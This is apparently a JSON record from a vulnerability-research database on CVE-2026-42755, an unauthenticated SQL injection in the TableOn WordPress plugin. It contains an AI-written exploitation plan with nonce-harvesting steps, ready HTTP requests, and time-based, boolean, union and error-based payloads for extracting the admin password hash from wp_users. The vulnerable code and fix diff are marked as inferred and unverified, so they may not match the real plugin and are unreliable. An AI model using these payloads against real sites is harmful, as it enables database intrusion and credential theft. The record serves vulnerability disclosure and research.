[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fS9mbeA8gmmSC2h5ix7EhJr94kHYjrOjBtlUXD7hDUeg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":20,"research_plan":24,"research_summary":25,"research_vulnerable_code":26,"research_fix_diff":27,"research_exploit_outline":28,"research_model_used":29,"research_started_at":30,"research_completed_at":31,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":32},"CVE-2026-42755","tableon-wordpress-posts-table-filterable-unauthenticated-sql-injection","TableOn – WordPress Posts Table Filterable  \u003C= 1.0.5.1 - Unauthenticated SQL Injection","The TableOn – WordPress Posts Table Filterable  plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","posts-table-filterable",null,"\u003C=1.0.5.1","1.0.6","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-30 00:00:00","2026-06-01 16:18:52",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9264d7f3-cbd2-4528-8222-93a456332e9c?source=api-prod",3,[],"researched",false,"This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **TableOn – WordPress Posts Table Filterable** plugin (\u003C= 1.0.5.1).\n\n### 1. Vulnerability Summary\nThe TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper handling of user-supplied parameters within its AJAX filtering mechanism. Specifically, the plugin uses string concatenation or insufficient escaping when constructing SQL queries to fetch and filter post data for display in tables. Because these queries are executed via `$wpdb->get_results()` without proper use of `$wpdb->prepare()`, an attacker can inject arbitrary SQL commands.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `tableon_draw_js_table` (Inferred from standard TableOn AJAX naming conventions).\n*   **Vulnerable Parameter:** `orderby` or `order` (Often the culprit in table plugins), or attributes within the `shortcode_args` parameter.\n*   **Authentication:** Unauthenticated. The plugin registers the handler using `wp_ajax_nopriv_tableon_draw_js_table`.\n*   **Preconditions:** A table must exist (or be accessible via a default ID), and the plugin's shortcode must be active to obtain a valid nonce (if enforced).\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with `action=tableon_draw_js_table`.\n2.  **Hook Registration:** The plugin registers the handler:\n    `add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table'));`\n3.  **Handler Logic:** The `draw_js_table` function (located in `classes\u002Ftableon.php` or `index.php`) extracts parameters from `$_POST`. \n4.  **Query Building:** These parameters (specifically sorting or filtering arguments) are passed to a data-fetching method (e.g., `get_posts_data`).\n5.  **The Sink:** Inside the query builder, a variable like `$orderby` is concatenated directly into a query string:\n    `$sql = \"SELECT ... ORDER BY $orderby $order LIMIT ...\";`\n6.  **Execution:** The query is executed via `$wpdb->get_results($sql);`, leading to SQL injection.\n\n### 4. Nonce Acquisition Strategy\nThe TableOn plugin typically uses a nonce for its AJAX requests, localized via `wp_localize_script`.\n\n1.  **Identify Shortcode:** The primary shortcode is `[tableon]`.\n2.  **Create Trigger Page:** Use WP-CLI to create a public page containing the shortcode:\n    `wp post create --post_type=page --post_status=publish --post_title=\"Table Test\" --post_content='[tableon id=\"1\"]'`\n3.  **Navigate and Extract:**\n    *   Navigate to the newly created page using `browser_navigate`.\n    *   The plugin localizes data into a global JavaScript variable, likely `tableon_obj` or `tableon_vars`.\n    *   Execute JS to find the nonce: \n        `browser_eval(\"tableon_obj.tableon_nonce\")` or `browser_eval(\"tableon_vars.nonce\")`.\n4.  **Verification:** If `check_ajax_referer` in the PHP code uses an action string other than what's provided in the localized JS, the nonce check may be bypassable or require the specific action string (e.g., `tableon-nonce`).\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload to confirm the vulnerability.\n\n*   **Step 1: Baseline Request**\n    Send a standard request to ensure the endpoint is active and requires the nonce.\n*   **Step 2: Time-Based Injection (Sleep)**\n    Target the `orderby` parameter.\n    *   **Payload:** `ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)`\n    *   **Request:**\n        ```http\n        POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n        Content-Type: application\u002Fx-www-form-urlencoded\n\n        action=tableon_draw_js_table&nonce=[EXTRACTED_NONCE]&orderby=ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)\n        ```\n*   **Step 3: Data Extraction (Boolean-Based)**\n    If time-based is confirmed, we can extract the admin password hash.\n    *   **Payload:** `(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE title END)` (Checks if the first char of the hash is '$', ASCII 36).\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `posts-table-filterable` version 1.0.5.1 is installed.\n2.  **Generate Content:** Ensure at least one post exists so the table has data to sort.\n    `wp post generate --count=1`\n3.  **Create Table Page:**\n    `wp post create --post_type=page --post_status=publish --post_content='[tableon]'`\n\n### 7. Expected Results\n*   **Baseline:** Response returns within \u003C 1 second.\n*   **Attack:** The response for the `SLEEP(5)` payload should take approximately 5 seconds (or a multiple thereof depending on how many times the `orderby` clause is evaluated in the query).\n*   **Output:** The response body for a successful query usually contains JSON-formatted table data.\n\n### 8. Verification Steps\nAfter the HTTP exploitation, verify the database state to confirm query execution:\n1.  **Database Logs:** If accessible, check the MySQL general log to see the injected query.\n2.  **WP-CLI:** Use `wp db query` to test the same payload manually to see how the database handles the specific concatenation:\n    `wp db query \"SELECT ID FROM wp_posts ORDER BY ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a);\"`\n\n### 9. Alternative Approaches\n*   **Union-Based Injection:** If the plugin reflects data from columns into the JSON response, attempt a UNION SELECT to extract `user_login` and `user_pass` from `wp_users`.\n*   **Shortcode Attribute Injection:** If `orderby` is sanitized, check if the `shortcode_args` or `filter_data` parameters are handled unsafely during the AJAX call, as these are often passed into dynamic `WP_Query` or raw SQL constructs.\n*   **Error-Based:** Append an invalid SQL syntax (e.g., `AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)`) to see if the plugin or WordPress configuration leaks the database error in the AJAX response.","The TableOn plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'tableon_draw_js_table' AJAX action. This occurs due to the direct concatenation of user-supplied parameters, such as 'orderby', into SQL queries without proper sanitization or use of prepared statements.","\u002F* Inferred from research plan: AJAX handler registration *\u002F\nadd_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table'));\n\n---\n\n\u002F* Inferred from research plan: Vulnerable query construction *\u002F\npublic function draw_js_table() {\n    \u002F\u002F ...\n    $orderby = $_POST['orderby']; \u002F\u002F User-supplied input without sanitization\n    $sql = \"SELECT * FROM $wpdb->posts ORDER BY $orderby\"; \u002F\u002F Concatenation into raw SQL\n    $results = $wpdb->get_results($sql); \u002F\u002F Execution of unescaped query\n    \u002F\u002F ...\n}","--- a\u002Fclasses\u002Ftableon.php\n+++ b\u002Fclasses\u002Ftableon.php\n@@ -120,7 +120,8 @@\n-    $orderby = $_POST['orderby'];\n-    $sql = \"SELECT * FROM $wpdb->posts ORDER BY $orderby\";\n+    $orderby = sanitize_sql_orderby($_POST['orderby']);\n+    if (!$orderby) {\n+        $orderby = 'ID';\n+    }\n+    $sql = \"SELECT * FROM $wpdb->posts ORDER BY $orderby\";\n     $results = $wpdb->get_results($sql);","The exploit targets the unauthenticated AJAX endpoint 'tableon_draw_js_table'. An attacker first navigates to a public page containing the [tableon] shortcode to extract a valid nonce from the localized JavaScript variable (e.g., tableon_obj.tableon_nonce). Once the nonce is obtained, the attacker sends an unauthenticated POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'tableon_draw_js_table'. The SQL injection is achieved by passing a malicious payload in the 'orderby' parameter, such as 'ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)'. A successful injection is confirmed via a time-based response delay, allowing the attacker to eventually extract sensitive database information like administrator password hashes through blind SQL injection techniques.","gemini-3-flash-preview","2026-06-04 14:59:04","2026-06-04 14:59:27",{"type":33,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":34},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fposts-table-filterable\u002Ftags"]